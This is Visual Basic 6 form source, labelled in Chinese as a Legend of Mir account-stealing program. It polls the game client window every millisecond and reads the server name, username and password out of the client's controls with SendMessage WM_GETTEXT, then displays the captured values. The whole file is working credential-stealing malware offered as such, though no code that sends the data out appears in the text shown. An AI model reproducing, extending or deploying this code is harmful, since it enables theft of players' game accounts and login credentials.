formlegwing.frm

传奇盗号程序

VERSION 5.00
Begin VB.Form FormLegwing 
   Caption         =   "Legwing"
   ClientHeight    =   1665
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   4020
   LinkTopic       =   "Form1"
   ScaleHeight     =   1665
   ScaleWidth      =   4020
   StartUpPosition =   3  '窗口缺省
   Begin VB.TextBox TexPass 
      Height          =   375
      Left            =   120
      TabIndex        =   2
      Top             =   1080
      Width           =   2655
   End
   Begin VB.TextBox TexUser 
      Height          =   375
      Left            =   120
      TabIndex        =   1
      Top             =   600
      Width           =   2655
   End
   Begin VB.TextBox TexServer 
      Height          =   375
      Left            =   120
      TabIndex        =   0
      Top             =   120
      Width           =   2655
   End
   Begin VB.Timer TimerScan 
      Interval        =   1
      Left            =   3360
      Top             =   360
   End
End
Attribute VB_Name = "FormLegwing"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'http://www.81915.com
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hWnd As Long, ByVal wCmd As Long) As Long
Private Const WM_GETTEXT = &HD
Private Const WM_GETTEXTLENGTH = &HE
Private Const GW_HWNDNEXT = 2

Private Sub Form_Load()
    TimerScan.Interval = 1
End Sub

Private Sub TimerScan_Timer()
    Dim HwndServer As Long
    HwndServer = FindWindow(vbNullString, "传奇客户端")
    If HwndServer <> 0 Then
    Dim ServerOwner As String, HwndCombo As Long
        ServerOwner = "TComboBox"
        HwndCombo = FindWindowEx(HwndServer, 0, ServerOwner, vbNullString)
        If HwndCombo <> 0 Then
            Dim SevLength As Long, SevCon As String
            SevLength = SendMessage(HwndCombo, WM_GETTEXTLENGTH, 0, 0)
            SevLength = SevLength + 1
            SevCon = Space(SevLength)
            SendMessage HwndCombo, WM_GETTEXT, SevLength, ByVal SevCon
            TexServer.Text = SevCon
         End If
    End If
    Dim HwndMain As Long
    HwndMain = FindWindow(vbNullString, "legend of mir2")
    If HwndMain <> 0 Then
        Dim PassOwner As String, HwndPass As Long, TexCount As Long
        PassOwner = "TEdit"
        HwndPass = FindWindowEx(HwndMain, 0, PassOwner, vbNullString)
        If HwndPass <> 0 Then
            Dim PassLength As Long, PassCon As String
            TexCount = TexCount + 1
            PassLength = SendMessage(HwndPass, WM_GETTEXTLENGTH, 0, 0)
            PassLength = PassLength + 1
            PassCon = Space$(PassLength)
            SendMessage HwndPass, WM_GETTEXT, PassLength, ByVal PassCon
            Dim HwndUser As Long, UserLength As Long, UserCon As String
            HwndUser = GetWindow(HwndPass, GW_HWNDNEXT)
            If HwndUser <> 0 Then
                TexCount = TexCount + 1
                UserLength = SendMessage(HwndUser, WM_GETTEXTLENGTH, 0, 0)
                UserLength = UserLength + 1
                UserCon = Space(UserLength)
                SendMessage HwndUser, WM_GETTEXT, UserLength, ByVal UserCon
                If Len(UserCon) < 3 And Len(PassCon) < 3 Then
                    TexServer.Text = ""
                    TexUser.Text = ""
                    TexPass.Text = ""
                    Exit Sub
                Else
                    TexPass.Text = PassCon
                    TexUser.Text = UserCon
                End If
            End If
        End If
    End If
End Sub